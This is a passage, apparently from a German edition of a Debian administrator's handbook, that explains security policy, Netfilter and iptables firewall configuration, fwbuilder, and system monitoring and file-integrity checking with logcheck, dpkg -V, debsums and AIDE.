Bruce Schneier, ein weltweit anerkannter Experte in Sicherheitsfragen (nicht nur Computersicherheit), setzt einem der gängigsten Sicherheitsmythen ein Motto entgegen: „Sicherheit ist ein Prozess, kein Produkt.“ Die zu schützenden Güter ändern sich im Laufe der Zeit, genauso wie die Bedrohungen und die Mittel, die potentiellen Angreifern zur Verfügung stehen. Selbst wenn eine Sicherheitsrichtlinie anfänglich einwandfrei gestaltet und umgesetzt war, sollte man sich nie auf seinen Lorbeeren ausruhen. Die Risikokomponenten entwickeln sich weiter, und die Erwiderung auf sie muss sich dementsprechend ebenfalls weiterentwickeln.

Besondere Beschränkungen müssen ebenfalls bedacht werden, da sie den Bereich der möglichen Richtlinien begrenzen können. Wie weit wollen wir gehen, um ein System abzusichern? Diese Frage hat einen wesentlichen Einfluss auf die umzusetzenden Richtlinien. Die Antwort wird allzu oft nur in Form von monetären Kosten gegeben, aber die anderen Elemente sollten ebenfalls berücksichtigt werden, wie zum Beispiel das Maß an Unbequemlichkeit, das den Systembenutzern auferlegt wird, oder Leistungseinbußen.

Sobald das Risiko abgebildet ist, kann man damit beginnen, sich Gedanken über die eigentlichen Sicherheitsrichtlinien zu machen.

HINWEISExtreme Richtlinien

Es gibt Fälle, in denen die Wahl der Maßnahmen, die zur Absicherung eines Systems erforderlich sind, äußerst einfach ist.

Wenn zum Beispiel das zu schützende System nur aus einem gebrauchten Rechner besteht, der lediglich dazu benutzt wird, am Ende des Tages einige Zahlen hinzuzufügen, könnte es durchaus vernünftig sein, sich dafür zu entscheiden, gar nichts Besonderes zu seinem Schutz zu tun. Der Sachwert des Systems ist gering. Der Wert der Daten ist Null, da sie nicht auf dem Rechner gespeichert werden. Ein möglicher Angreifer, der in dieses „System“ einbricht, würde nur eine schwerfällige Rechenmaschine bekommen. Die Kosten zur Absicherung eines solchen Systems wären wahrscheinlich höher als die eines Einbruchs.

Am anderen Ende des Spektrums möchten wir vielleicht die Vertraulichkeit geheimer Daten unter allen Umständen auf möglichst umfassende Weise schützen. In diesem Fall könnte eine angemessene Aktion darin bestehen, diese Daten vollständig zu vernichten (die Dateien sicher zu löschen, die Festplatten zu schreddern, dann die Partikel in Säure aufzulösen und so weiter). Falls es zusätzlich erforderlich ist, die Daten für eine zukünftige Verwendung zu speichern (wenn auch nicht notwendigerweise auf leicht zugängliche Art), und falls Kosten auch in diesem Fall keine Rolle spielen, könnte ein Ansatzpunkt darin bestehen, die Daten auf Platten aus einer Platin-Iridium-Legierung zu speichern und diese in bombensicheren Bunkern unter verschiedenen Bergen dieser Welt zu lagern, von denen (natürlich) jeder völlig geheim und von ganzen Armeen bewacht wäre…

So extrem diese Beispiele auch erscheinen mögen, so wären sie dennoch eine angemessene Reaktion auf definierte Risiken, da sie das Ergebnis von Überlegungen sind, bei denen die zu erreichenden Ziele und die einzuhaltenden Restriktionen berücksichtigt wurden. Keine Sicherheitsrichtlinie ist weniger respektabel als eine andere, solange sie auf einer begründeten Entscheidung beruht.

In den meisten Fällen kann das Informationssystem in einheitliche und weitgehend voneinander unabhängige Teilsysteme aufgeteilt werden. Jedes Teilsystem hat seine eigenen Anforderungen und Restriktionen, und daher sollten die Risikoanalyse und die Entwicklung der Sicherheitsrichtlinien für jedes getrennt angegangen werden. Man sollte dabei beachten, dass eine kurze und wohldefinierte Grenzlinie leichter zu verteidigen ist, als eine lange gewundene Grenze. Die Organisation des Netzwerks sollte dementsprechend ausgelegt werden: empfindliche Dienste sollten auf wenigen Rechnern konzentriert sein, und diese sollten nur über möglichst wenige Kontrollpunkte zugänglich sein; es ist einfacher, diese Kontrollpunkte abzusichern, als alle empfindlichen Rechner gegen die gesamte Außenwelt. An dieser Stelle wird die Nützlichkeit von Netzwerkfiltern (einschließlich Firewalls) deutlich. Diese Filterung kann mit dedizierter Hardware realisiert werden, jedoch besteht eine möglicherweise einfachere und flexiblere Lösung darin, eine Firewall-Anwendung, wie sie im Linux-Kernel integriert ist, zu benutzen.

14.2. Firewall oder Paketfilter

ZURÜCK ZU DEN GRUNDLAGEN Firewall

Eine Firewall ist eine Computereinrichtung aus Hard- oder Software, die ein- und ausgehende Netzwerkpakete (zum lokalen Netzwerk kommend oder von ihm ausgehend) sortiert und nur diejenigen durchlässt, die bestimmte vorher festgelegte Bedingungen erfüllen.

Eine Firewall ist ein filternder Netzübergang und nur bei Paketen wirksam, die durch sie hindurchgehen müssen. Deshalb kann sie nur dann wirksam sein, wenn der Weg durch die Firewall für diese Pakete die einzige Route ist.

Da es keine Standardkonfiguration gibt (und das Motto „Prozess, nicht Produkt“ gilt), gibt es auch keine schlüsselfertige Lösung. Es gibt jedoch Hilfsprogramme, die die Konfigurierung der Netfilter-Firewall mit einer grafischen Darstellung der Filterregeln vereinfachen. fwbuilder ist zweifellos unter ihnen eines der besten.

SONDERFALL Lokale Firewall

Eine Firewall kann auf einen bestimmten Rechner beschränkt sein (im Gegensatz zu einem ganzen Netzwerk), wobei ihre Rolle dann darin besteht, den Zugang zu einigen Diensten zu filtern oder zu beschränken, oder möglicherweise ausgehende Verbindungen von Schadsoftware, die ein Anwender vorsätzlich oder unabsichtlich installiert hat, zu unterbinden.

Der Linux Kernel schließt die Netfilter-Firewall ein. Diese kann aus dem User Space mit den Befehlen iptables und ip6tables gesteuert werden. Der Unterschied zwischen diesen beiden Befehlen besteht darin, dass ersterer auf das IPv4-Netzwerk einwirkt, letzterer auf IPv6. Da beide Netzwerk-Protokoll-Stapel wahrscheinlich noch viele Jahre in Gebrauch sein werden, müssen beide Hilfsprogramme parallel verwendet werden.

14.2.1. Verhalten von Netfilter

Netfilter verwendet vier verschiedene Tabellen, in denen Regeln gespeichert werden, die drei Arten von Vorgängen bei Paketen regeln:

- filter betrifft Filterregeln (ein Paket annehmen, zurückweisen oder ignorieren);

- nat betrifft die Übersetzung von Quell- oder Zieladressen und der Ports von Paketen;

- mangle betrifft sonstige Änderungen an den IP-Paketen (einschließlich des ToS — Type of Service — Feldes und seiner Optionen);

- raw ermöglicht andere manuelle Veränderungen an Paketen, bevor sie das Verbindungsverfolgungssystem erreichen.

Jede Tabelle enthält Regellisten, die Ketten genannt werden. Die Firewall verwendet Standardketten, um Pakete in Abhängigkeit von vorher festgelegten Umständen zu bearbeiten. Der Administrator kann weitere Ketten erstellen, die aber nur benutzt werden, wenn von einer der Standardketten (entweder direkt oder indirekt) auf sie verwiesen wird.

Die Tabelle filter enthält drei Standardketten:

- INPUT: betrifft Pakete, deren Ziel die Firewall selbst ist;

- OUTPUT: betrifft Pakete, die von der Firewall ausgesandt werden;

- FORWARD: betrifft Pakete, die die Firewall durchqueren (die weder ihre Quelle noch ihr Ziel ist).

Die Tabelle nat enthält ebenfalls drei Standardketten:

- PREROUTING: um Pakete zu verändern, sobald sie eintreffen;

- POSTROUTING: um Pakete zu verändern, wenn sie für die Versendung bereit sind;

- OUTPUT: um von der Firewall selbst erzeugte Pakete zu verändern.

Abbildung 14.1. Wie Netfilter-Ketten aufgerufen werden

Jede Kette ist eine Liste von Regeln; jede Regel besteht aus einem Satz von Bedingungen und einer Aktion, die ausgeführt wird, wenn die Bedingungen erfüllt sind. Wenn ein Paket bearbeitet wird, fragt die Firewall die passende Kette Regel für Regel ab; wenn die Bedingungen einer Regel erfüllt sind, „springt“ (daher die Option -j für „jump“ in den Befehlen) sie zu der angegebenen Aktion, um die Bearbeitung dort fortzusetzen. Die gebräuchlichsten Verhaltensweisen sind standardisiert, und es gibt fest zugeordnete Aktionen für sie. Die Ausführung einer dieser Standardaktionen bricht die Bearbeitung der Kette ab, da das Schicksal des Pakets bereits besiegelt ist (abgesehen von einer weiter unten genannten Ausnahme):

ZURÜCK ZU DEN GRUNDLAGEN ICMP

ICMP (Internet Control Message Protocol) ist das Protokoll, das zur Übertragung ergänzender Informationen bei der Datenübertragung verwendet wird. Mit ihm kann die Netzanbindung durch den Befehl ping überprüft werden (der Befehl verschickt eine echo request ICMP-Nachricht, die der Empfänger mit einer echo reply ICMP-Nachricht beantworten soll). Es meldet, ob eine Firewall ein Paket zurückweist, zeigt einen Überlauf in einem Empfangspuffer an, schlägt einen besseren Pfad für die nächsten Pakete in einer Verbindung vor und so weiter. Dieses Protokoll ist durch mehrere RFC-Dokumente definiert; die ursprünglichen Dokumente RFC777 und RFC792 wurden schon bald vervollständigt und erweitert.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Hinweis: ein Empfangspuffer ist ein kleiner Speicherbereich, der Daten vom Zeitpunkt ihrer Ankunft aus dem Netzwerk bis zum Zeitpunkt ihrer Verarbeitung durch den Kernel speichert. Wenn dieser Bereich voll ist, können keine weiteren Daten empfangen werden, und ICMP meldet das Problem, so dass der Absender seine Übertragungsgeschwindigkeit reduzieren kann (die nach einiger Zeit möglichst ausgeglichen sein sollte).

Man beachte, dass ein IPv4-Netzwerk zwar ohne ICMP funktionieren kann, dass aber ICMPv6 für ein IPv6-Netzwerk unbedingt erforderlich ist, da es mehrere Funktionen vereint, die in der IPv4-Welt auf ICMPv4, IGMP (Internet Group Membership Protocol) und ARP (Address Resolution Protocol) verteilt waren. ICMPv6 ist in der RFC4443 definiert.

→ http://www.faqs.org/rfcs/rfc4443.html

- ACCEPT: erlaube dem Paket, seinen Weg fortzusetzen;

- REJECT: weise das Paket mit einem ICMP-Fehlerpaket zurück (die Option --reject-with Typ in Verbindung mit dem Befehl iptables ermöglicht es, den Fehlertyp auszuwählen);

- DROP: lösche (ignoriere) das Paket;

- LOG: protokolliere (mittels syslogd) eine Meldung mit einer Beschreibung des Pakets; man beachte, dass hierdurch die Verarbeitung nicht abgebrochen wird und die Ausführung der Kette mit der nächsten Regel weitergeht, weshalb das Protokollieren zurückgewiesener Pakete sowohl die LOG-Regel als auch die REJECT/DROP-Regel erfordert;

- ULOG: protokolliere eine Meldung mittels ulogd, das für die Verarbeitung einer hohen Anzahl von Meldungen anpassungsfähiger und effizienter ist als syslogd; man beachte, dass dieser Vorgang, wie bei LOG, die weitere Verarbeitung an die nächste Regel in der aufrufenden Kette zurückgibt;

- ketten_name: springe zu der angegebenen Kette und werte ihre Regeln aus;

- RETURN: beende die Verarbeitung der aktuellen Kette und kehre zu der aufrufenden Kette zurück; falls die aktuelle Kette eine Standardkette ist, gibt es keine aufrufende Kette, und so wird stattdessen die voreingestellte Aktion (die durch die Option -P des Befehls iptables festgelegt wird) ausgeführt;

- SNAT (nur in der Tabelle nat): wende Source NAT an (weitere Optionen beschreiben genau die anzuwendenden Änderungen);

- DNAT (nur in der Tabelle nat): wende Destination NAT an (weitere Optionen beschreiben genau die anzuwendenden Änderungen);

- MASQUERADE (nur in der Tabelle nat): wende masquerading an (ein Sonderfall von Source NAT);

- REDIRECT (nur in der Tabelle nat): lenke das Paket an einen vorgegebenen Port der Firewall selbst um; dies kann dazu benutzt werden, einen transparenten Webproxy aufzusetzen, der auf der Clientseite ohne Konfiguration funktioniert, da der Client davon ausgeht, dass er direkt mit dem Empfänger verbunden ist, während der Nachrichtenaustausch in Wirklichkeit durch den Proxy läuft.

Andere Aktionen, insbesondere solche, die die mangle-Tabelle betreffen, liegen außerhalb des Rahmens dieses Textes. Die Handbuchseiten iptables(8) und ip6tables(8) enthalten umfangreiche Auflistungen.

14.2.2. Syntax von iptables und ip6tables

Mit den Befehlen iptables und ip6tables können Tabellen, Ketten und Regeln gehandhabt werden. Ihre Option -t tabelle zeigt an, welche Tabelle bearbeitet werden soll (die Voreinstellung ist filter).

14.2.2.1. Befehle

Die Option -N kette erzeugt eine neue Kette. Die Option -X kette löscht eine leere und unbenutzte Kette. Die Option -A kette_regel fügt am Ende der angegebenen Kette eine Regel an. Die Option -I kette regel_nummerregel fügt eine Regel vor der Regel mit der Nummer regel_nummer ein. Die Option -D ketteregel_nummer (oder -D ketteregel) löscht eine Regel in der Kette; die erste Syntax identifiziert die zu löschende Regel durch ihre Nummer, während letztere sie durch ihren Inhalt identifiziert. Die Option -F kette leert eine Kette (löscht alle ihre Regeln); wenn keine Kette angegeben wird, werden alle Regeln der Tabelle gelöscht. Die Option -L kette listet alle Regeln der Kette auf. Schließlich legt die Option -P kette_aktion die voreingestellte Aktion oder „Richtlinie“ einer gegebenen Kette fest; man beachte, dass nur Standardketten eine derartige Richtlinie haben können.

14.2.2.2. Regeln

Jede Regel wird in der Form bedingungen -j aktionaktions_optionen dargestellt. Werden mehrere Bedingungen in derselben Regel angegeben, dann ist das Kriterium die Verknüpfung (das logische und) der Bedingungen, die wenigstens so restriktiv ist wie jede einzelne Bedingung.

Die Bedingung -p protokoll vergleicht das Protokollfeld des IP-Pakets. Die häufigsten Werte sind tcp, udp, icmp und icmpv6. Ein vorangestelltes Ausrufezeichen kehrt die Bedingung um, die dann dem Ausdruck „alle Pakete mit einem anderen als dem angegebenen Protokoll“ entspricht. Dieser Umkehrungsmechanismus ist nicht auf die Option -p beschränkt, sondern kann auch auf alle anderen Bedingungen angewendet werden.

Die Bedingung -s adresse oder -s network/mask vergleicht die Quelladresse des Pakets. Dementsprechend vergleicht die Bedingung -d adresse oder -d network/mask die Zieladresse.

Die Bedingung -i schnittstelle wählt Pakete, die von der angegebenen Netzwerkschnittstelle kommen. -o schnittstelle wählt Pakete, die von einer bestimmten Schnittstelle abgehen.

Es gibt genauere Bedingungen in Abhängigkeit von den oben beschriebenen allgemeinen Bedingungen. So kann zum Beispiel die Bedingung -p tcp um Bedingungen für die TCP-Ports ergänzt werden durch Ausdrücke wie --source-port port und --destination-port port.

Die Bedingung --state status vergleicht den Status eines Pakets in einer Verbindung (hierbei ist das Kernelmodul ipt_conntrack zur Verbindungsverfolgung erforderlich). Der Status NEW bezeichnet ein Paket, das eine neue Verbindung eröffnet; ESTABLISHED gilt für Pakete, die zu einer bereits bestehenden Verbindung gehören, und RELATED entspricht Paketen, die eine neue Verbindung im Zusammenhang mit einer bestehenden eröffnen (dies ist nützlich für die ftp-data-Verbindungen im „aktiven“ Modus des FTP-Protokolls).

Der vorstehende Abschnitt führt verfügbare Aktionen auf, aber nicht ihre jeweiligen Optionen. Die Aktion LOG hat zum Beispiel folgende Optionen:

- --log-level, mit dem voreingestellten Wert warning, gibt die Priorität des syslog-Schweregrads an;

- --log-prefix ermöglicht es, einen Text-Vorspann festzulegen, um protokollierte Meldungen unterscheiden zu können;

- --log-tcp-sequence, --log-tcp-options und --log-ip-options kennzeichnen zusätzliche Daten zur Einbindung in die Meldung, und zwar die TCP-Sequenznummer, die TCP-Optionen und die IP-Optionen.

Die Aktion DNAT bietet die Option --to-destination addresse:port an, mit der die neue IP-Zieladresse und der neue Zielport gekennzeichnet werden. Genauso bietet SNAT die Option --to-source addresse:port an, mit der die neue IP-Quelladresse und der neue Quellport gekennzeichnet werden.

Die Aktion REDIRECT (nur wenn NAT verfügbar ist) bietet die Option --to-ports port(s) an, mit der der Port oder der Portbereich gekennzeichnet werden, an den die Pakete umgelenkt werden sollen.

14.2.3. Regeln erstellen

Für jede erstellte Regel muss jedes Mal iptables/ip6tables aufgerufen werden. Da es mühsam ist, diese Befehle von Hand einzugeben, werden sie normalerweise in einem Skript gespeichert, so dass bei jedem Rechnerstart automatisch dieselbe Konfiguration eingerichtet wird. Dieses Skript kann von Hand geschrieben werden, aber es kann auch interessant sein, es mit einem hochentwickelten Hilfsprogramm wie fwbuilder zu erstellen.

# apt install fwbuilder

Das Prinzip ist einfach. Zunächst müssen alle Elemente beschrieben werden, die in den eigentlichen Regeln enthalten sein werden:

- die Firewall selbst mit ihren Netzwerkschnittstellen;

- die Netzwerke mit ihren jeweiligen IP-Bereichen;

- die Server;

- die Ports, die zu den auf den Servern untergebrachten Diensten gehören.

Die Regeln werden dann durch einfaches Ziehen und Ablegen auf die Objekte erstellt. Über einige kontextbezogene Menüs kann die Bedingung geändert (zum Beispiel umgekehrt) werden. Anschließend muss die Aktion ausgewählt und konfiguriert werden.

Was IPv6 betrifft, so kann man entweder zwei verschiedene Regelsätze für IPv4 und IPv6 erstellen, oder nur einen und fwbuilder die Regeln je nach den Adressen, die den Objekten zugewiesen sind, übersetzen lassen.

Abbildung 14.2. Das Hauptfenster des Fwbuilder

fwbuilder kann dann ein Skript zur Konfigurierung der Firewall in Übereinstimmung mit den festgelegten Regeln erstellen. Seine modulare Architekt bietet die Möglichkeit, Skripte für unterschiedliche Systeme zu erstellen (iptables für Linux, ipf für FreeBSD und pf für OpenBSD).

14.2.4. Die Regeln bei jedem Rechnerstart installieren

In anderen Fällen besteht der empfohlene Weg darin, das Konfigurationsskript in einer up-Anweisung der Datei /etc/network/interfaces einzutragen. Im folgenden Beispiel ist das Skript unter /usr/local/etc/arrakis.fw gespeichert.

Beispiel 14.1. Aufruf eines Firewallskripts durch eine interfaces-Datei

auto eth0
iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
up /usr/local/etc/arrakis.fw

Dies setzt natürlich voraus, dass Sie ifupdown verwenden, um die Netzwerk-Schnittstellen zu konfigurieren. Wenn Sie etwas anderes (wie NetworkManager oder Systemd Networkd) verwenden, dann suchen Sie in der Dokumentation Möglichkeiten ein Skript auszuführen, nachdem die Schnittstelle hochgefahren wurde.

14.3. Überwachung: Vorbeugung, Entdeckung, Abschreckung

Monitoring ist aus mehreren Gründen ein integraler Bestandteil jeder Sicherheitsrichtlinie. Unter anderem deshalb, weil das Ziel der Absicherung gewöhnlich nicht darauf beschränkt ist, die Vertraulichkeit der Daten sicherzustellen, sondern auch vorsieht, dass die Verfügbarkeit der Dienste gewährleistet ist. Es ist daher unerlässlich, zu überprüfen, ob alles wie vorgesehen funktioniert, und rechtzeitig jedes abweichende Verhalten und jede Änderung in der Qualität der erbrachten Leistungen zu erkennen. Monitoring hilft dabei Einbruchsversuche zu entdecken und darauf schnell zu reagieren, bevor sie ernste Folgen haben. Dieser Abschnitt gibt einen Überblick über einige Hilfsprogramme, die zur Überwachung verschiedener Aspekte eines Debian-Systems eingesetzt werden können. Damit vervollständigt er Abschnitt 12.4, „Überwachung“.

14.3.1. Protokolle mit logcheck verfolgen

Das Programm logcheck überwacht Protokolldateien standardmäßig jede Stunde. Es schickt E-Mails mit ungewöhnlichen Protokollmeldungen zur weiteren Analyse an den Administrator.

Die Liste der überwachten Dateien wird in /etc/logcheck/logcheck.logfiles gespeichert; die Standardeinstellungen eignen sich gut, solange die Datei /etc/rsyslog.conf nicht vollständig verändert worden ist.

logcheck kann in drei mehr oder weniger detaillierten Modi laufen: Paranoid, Server und Arbeitsplatzrechner. Der erste ist sehr ausführlich und sollte wohl eher auf besondere Server, wie zum Beispiel Firewalls, beschränkt bleiben. Der zweite (voreingestellte) Modus wird für die meisten Server empfohlen. Der letzte ist für Arbeitsplatzrechner bestimmt und ist noch knapper (er unterdrückt mehr Meldungen).

In allen drei Fällen sollte logcheck wohl so angepasst werden, dass es einige zusätzliche Meldungen ausschließt (in Abhängigkeit von den installierten Diensten), es sei denn, dass der Administrator tatsächlich jede Stunde stapelweise lange uninteressante E-Mails empfangen möchte. Da das Verfahren zur Auswahl der Meldungen recht kompliziert ist, ist es notwendig - wenn auch schwierig - die Datei /usr/share/doc/logcheck-database/README.logcheck-database.gz durchzulesen.

Die eingesetzten Regeln können in mehrere Arten unterteilt werden:

- solche, die eine Meldung als einen Einbruchsversuch einstufen (in einer Datei im Verzeichnis /etc/logcheck/cracking.d/ gespeichert);

- solche, die eine derartige Einstufung aufheben (/etc/logcheck/cracking.ignore.d/);

- solche, die eine Meldung als Sicherheitswarnung einordnen (/etc/logcheck/violations.d/);

- solche, die diese Einordnung aufheben (/etc/logcheck/violations.ignore.d/);

- und schließlich solche, die auf die übrigen Meldungen zutreffen (als sogenannte Systemvorfälle angesehen werden).

VORSICHT Eine Meldung ignorieren

Eine Meldung, die als Einbruchsversuch oder als Sicherheitswarnung markiert worden ist (aufgrund einer Regel, die in einer Datei namens /etc/logcheck/violations.d/meine_datei gespeichert ist), kann nur mit einer Regel in den Dateien /etc/logcheck/violations.ignore.d/meine_datei oder /etc/logcheck/violations.ignore.d/meine_datei-erweiterung ignoriert werden.

Ein Systemvorfall wird immer angezeigt, es sei denn, eine Regel in einem der Verzeichnisse des Typs /etc/logcheck/ignore.d.{paranoid,server,arbeitsplatzrechner}/ bestimmt, dass der Vorfall ignoriert werden soll. Es werden natürlich nur die Verzeichnisse berücksichtigt, deren Ausführlichkeitsgrad gleich dem oder höher als der ausgewählte Betriebsmodus ist.

14.3.2. Aktivitäten überwachen

14.3.2.1. In Echtzeit

top ist ein interaktives Hilfsprogramm, das eine Liste der gegenwärtig laufenden Prozesse anzeigt. Die voreingestellte Reihenfolge hängt vom momentanen Umfang der Prozessornutzung ab und kann mithilfe der P-Taste abgerufen werden. Andere Sortierreihenfolgen sind unter anderem nach belegtem Speicher (M-Taste), nach gesamter Prozessorzeit (T-Taste) und nach Prozesskennung (N-Taste). Mit der k-Taste kann ein Prozess abgebrochen werden, indem seine Kennung eingegeben wird. Die r-Taste ermöglicht das renicing eines Prozesses, das heißt, die Änderung seiner Priorität.

Wenn das System überlastet zu sein scheint, ist top ein großartiges Instrument, um zu sehen, welche Prozesse um die Prozessorzeit konkurrieren oder zu viel Speicher verbrauchen. Insbesondere ist es häufig interessant zu überprüfen, ob die Prozesse, die Ressourcen verbrauchen, den tatsächlichen Diensten entsprechen, die der Rechner bekanntermaßen beherbergt. Ein unbekannter Prozess, der unter dem Benutzernamen www-data läuft, sollte wirklich hervorstechen und kann untersucht werden, da er möglicherweise ein Programm ist, das durch eine Schwachstelle in einer Web-Anwendung auf dem System installiert wurde und ausgeführt wird.

top ist ein sehr flexibles Hilfsprogramm, und seine Handbuchseite beschreibt ausführlich, wie seine Anzeige individuell eingerichtet und an persönliche Bedürfnisse und Gewohnheiten angepasst werden kann.

Das grafische Hilfsprogramm gnome-system-monitor ist top ähnlich und bietet etwa die gleichen Leistungsmerkmale.

14.3.2.2. Verlauf

Prozessorauslastung, Netzwerkverkehr und freier Plattenplatz sind Informationen, die sich ständig ändern. Es ist häufig nützlich, den Verlauf ihrer Entwicklung festzuhalten, um genau feststellen zu können, wie der Rechner genutzt wird.

Für diese Aufgabe gibt es zahlreiche spezialisierte Hilfsprogramme. Die meisten von ihnen können Daten über SNMP (Simple Network Management Protocol) einholen, um diese Informationen an einer Stelle zusammenzufassen. Ein weiterer Nutzen besteht darin, dass auf diese Weise Daten von Netzwerkelementen eingeholt werden können, die keine Universalrechner sind, wie spezialisierte Netzwerkrouter oder -switche.

Dieses Buch behandelt Munin ausführlich als Teil von Kapitel 12: „Erweiterte Verwaltung“ (siehe Abschnitt 12.4.1, „Munin einrichten“). Debian stellt ebenfalls ein ähnliches Hilfsprogramm bereit: cacti. Sein Einsatz ist etwas komplizierter, da es ausschließlich auf SNMP beruht. Obwohl es eine Web-Schnittstelle hat, benötigt das Verständnis der Konzepte, die für die Konfigurierung verwendet werden, noch einige Anstrengung. Die Lektüre der HTML-Dokumentation (/usr/share/doc/cacti/html/index.html) ist daher als Voraussetzung anzusehen.

ALTERNATIVE mrtg

mrtg (in dem Paket ähnlichen Namens) ist ein älteres Hilfsprogramm. Trotz einiger Ecken und Kanten kann es Verlaufsdaten zusammenfassen und als Diagramme anzeigen. Es enthält eine Reihe spezieller Skripte zur Sammlung der am häufigsten überprüften Daten wie Prozessorlast, Netzwerkverkehr, Webseitenzugriffe und so weiter.

Die Pakete mrtg-contrib und mrtgutils enthalten Beispielskripte, die direkt verwendet werden können.

14.3.3. Änderungen erkennen

Nachdem das System installiert und konfiguriert ist, gibt es, abgesehen von Sicherheitsaktualisierungen, normalerweise keinen Grund, dass Dateien und Verzeichnisse sich weiterentwickeln, Daten ausgenommen. Es ist daher interessant sicherzustellen, dass Dateien sich in der Tat nicht ändern: jede unerwartete Veränderung wäre daher eine Untersuchung wert. Dieser Abschnitt stellt einige Hilfsprogramme vor, die Dateien überwachen und den Administrator warnen können, wenn eine unerwartete Veränderung auftritt (oder einfach derartige Veränderungen auflisten).

14.3.3.1. Pakete mit logcheck prüfen

WEITERE SCHRITTE Schutz vor vorgelagerten Veränderungen

dpkg --verify ist nützlich zur Entdeckung von Änderungen an Dateien, die aus einem Debian-Paket stammen. Jedoch ist es nutzlos, falls das Paket selbst beschädigt ist, weil zum Beispiel der Debian-Spiegelserver kompromittiert wurde. Um sich gegen diese Art von Angriffen zu schützen, ist es erforderlich, APTs Verifikationssystem für digitale Signaturen zu benutzen (siehe Abschnitt 6.5, „Die Echtheit eines Paketes prüfen“) und darauf zu achten, nur Pakete zertifizierten Ursprungs zu installieren.

dpkg --verify (oder dpkg -V) ist ein interessantes Tool, weil es herausfindet welche installierten Dateien (möglicherweise von einem Angreifer) modifiziert wurden aber dies sollte man nicht für bare Münze nehmen. Um seine Arbeit zu verrichten bezieht es sich auf Prüfsummen i der dpkg eigenen Datenbank welche auf der lokalen Festplatte liegt (man findet sie unter /var/lib/dpkg/info/package.md5sums). Ein gründlicher Angreifer wird diese Dateien also mit den neuen Prüfsummen der manipulierten Dateien aktualisieren.

ZURÜCK ZU DEN GRUNDLAGEN Dateifingerabdruck

Zur Erinnerung: ein Fingerabdruck ist ein Wert, häufig eine Zahl (wenn auch in hexadezimaler Schreibweise), die eine Art Signatur für den Inhalt der Datei enthält. Diese Signatur wird mit einem Algorithmus berechnet (MD5 und SHA1 sind bekannte Beispiele), der mehr oder weniger garantiert, dass selbst kleinste Veränderungen des Dateiinhalts eine Änderung des Fingerabdrucks bewirken; dies wird als „Lawineneffekt“ bezeichnet. Er ermöglicht es, einen einfachen numerischen Fingerabdruck als Lackmustest zu verwenden, um zu überprüfen, ob der Inhalt einer Datei verändert wurde. Diese Algorithmen sind nicht umkehrbar; mit anderen Worten, bei den meisten von ihnen ermöglicht die Kenntnis eines Fingerabdrucks es nicht, den dazugehörigen Inhalt zu finden. Jüngste mathematische Fortschritte schwächen anscheinend die absolute Gültigkeit dieser Prinzipien, aber ihre Verwendung ist bisher nicht infrage gestellt, da es wohl nach wie vor eine recht schwierige Aufgabe ist, einen anderen Inhalt zu erstellen, der denselben Fingerabdruck ergibt.

Das Ausführen von dpkg -V überprüft alle installierten Pakete und gibt eine Zeile pro Datei mit fehlgeschlagenem Test aus. Das Ausgabeformat ist das gleiche wie das von rpm -V, wobei jedes Zeichen einem Test auf bestimmte Metadaten entspricht. Leider speichert dpkg die für die meisten Tests benötigten Metadaten nicht und gibt daher Fragezeichen aus. Derzeit kann nur der Prüfsummentest eine "5" für das dritte Zeichen ergeben (wenn er fehlschlägt).

# dpkg -V
??5??????   /lib/systemd/system/ssh.service
??5?????? c /etc/libvirt/qemu/networks/default.xml
??5?????? c /etc/lvm/lvm.conf
??5?????? c /etc/salt/roster

Im obigen Beispiel meldet dpkg an der Servicedatei von SSH eine Änderung, die der Administrator an der gepackten Datei vorgenommen hat, anstatt einen entsprechenden /etc/system/system/ssh.service Override zu verwenden (der unter /etc gespeichert würde, so wie jede Änderung einer Konfiguration sein sollte). Außerdem werden mehrere Konfigurationsdateien (gekennzeichnet durch den Buchstaben "c" im zweiten Feld) aufgelistet, die korrekt geändert wurden.

14.3.3.2. Pakete auditieren: debsums und seine Grenzen

debsums ist der Vorgänger von dpkg -V und damit meist veraltet. Es hat die gleichen Einschränkungen wie dpkg. Glücklicherweise können einige der Einschränkungen umgangen werden (während dpkg keine ähnlichen Workarounds bietet).

Weil man den Daten auf der Festplatte nicht trauen kann, ermöglicht debsums Prüfungen basierend auf .deb Dateien anstatt sich auf die dpkg Datenbank zu verlassen. Um gesicherte .deb Dateien für alle installierten Pakete herunterzuladen können wir uns auf die von APT beglaubigten Downloads verlassen. Diese Aktion kann sehr langsam und langwierig sein und sollte daher als proaktive Technik in Betracht gezogen werden und nicht regelmäßig verwendet werden.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`
[ ... ]
# debsums -p /var/cache/apt/archives --generate=all

Man beachte, dass in diesem Beispiel der Befehl grep-status aus dem Paket grep-dctrl verwendet wird, das nicht standardmäßig installiert ist.

14.3.3.3. Dateien überwachen: AIDE

Das Hilfsprogramm AIDE (Advanced Intrusion Detection Environment) ermöglicht es, die Unversehrtheit von Dateien zu überprüfen und jede Veränderung durch einen Vergleich mit einem zuvor festgehaltenen Abbild des intakten Systems zu entdecken. Dieses Abbild ist als Datenbank (/var/lib/aide/aide.db) abgespeichert, die relevante Informationen über alle Dateien des Systems enthält (Fingerabdrücke, Berechtigungen, Zeitstempel und so weiter). Diese Datenbank wird erstmals mit dem Befehl aideinit initialisiert; sie wird dann täglich (mit dem Skript /etc/cron.daily/aide) genutzt, um nachzuprüfen, dass sich nichts Relevantes verändert hat. Wenn Veränderungen entdeckt werden, hält AIDE diese in Protokolldateien fest (/var/log/aide/*.log) und sendet seine Befunde per E-Mail an den Administrator.

IN DER PRAXIS Die Datenbank schützen

Da AIDE eine lokale Datenbank nutzt, um den Status der Dateien zu vergleichen, ist die Gültigkeit seiner Ergebnisse direkt an die Gültigkeit der Datenbank gebunden. Falls ein Angreifer auf einem kompromittierten System Administratorrechte erlangt, ist er in der Lage, die Datenbank auszutauschen und so seine Spuren zu verwischen. Eine mögliche Behelfslösung könnte darin bestehen, die Referenzdaten auf einem schreibgeschützten Medium zu speichern.

